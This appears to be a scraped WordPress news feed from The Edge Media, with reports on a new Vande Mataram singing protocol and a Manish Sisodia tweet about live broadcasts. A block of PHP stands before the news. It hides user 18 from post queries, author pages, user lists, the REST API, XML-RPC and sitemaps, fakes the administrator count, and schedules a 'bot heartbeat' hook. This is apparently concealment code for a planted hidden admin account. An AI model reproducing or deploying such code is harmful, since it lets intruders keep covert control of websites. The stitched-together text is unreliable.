add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post New Protocol: All Six Stanzas of Vande Mataram Mandatory Before National Anthem appeared first on The Edge Media.
]]>For the first time, the Ministry has defined a specific protocol for singing “Vande Mataram”. These rules apply to official programs such as the arrival of the President, the hoisting of the National Flag, and speeches by Governors.
In such instances, all six stanzas of the National Song, which have a total duration of three minutes and ten seconds, must be performed. This order was officially released on January 28.
The guidelines further state that the school day must begin with the singing of the National Song. The Ministry emphasized that whenever the National Song is played, everyone present is required to stand in an attentive posture to show respect. However, an exception is made for cinema or documentaries; if the National Song is played as part of a film or newsreel, the audience is not expected to stand.
The post New Protocol: All Six Stanzas of Vande Mataram Mandatory Before National Anthem appeared first on The Edge Media.
]]>The post “How to know which meeting can be broadcasted live, which one cannot?”, Manish Sisodia appeared first on The Edge Media.
]]>This was a remark in context to Prime Minister Narendra Modi’s protocol statement on April 23 when Delhi Chief Minister Arvind Kejriwal aired few of his comments live on Social media while on a meeting with the Prime Minister. “This is a violation of the protocol. Such official meetings cannot be broadcast,” PM had then said. Later, Kejriwal had also apologized for the same.
The tweet came in shortly after the Prime Minister’s meeting with the District Magistrates and Chief Ministers of the worst hit districts aired live on TV. Sisodia tweeted asking,” How to know which meeting can be broadcasted live, which one cannot?”
आज की मीटिंग में प्रधानमंत्री जी का वक्तव्य TV पर live प्रसारित हुआ. पिछली बैठक में CM @ArvindKejriwal के live प्रसारण पर आपत्ति थी कि protocol तोड़ा गया
आज के प्रोटकॉल में live broadcast की इजाज़त थी?
कैसे पता चले कि कौन सी बैठक से live प्रसारण हो सकता है, कौन सी में नहीं? https://t.co/luHHBnRrZE
— Manish Sisodia (@msisodia) May 18, 2021
The post “How to know which meeting can be broadcasted live, which one cannot?”, Manish Sisodia appeared first on The Edge Media.
]]>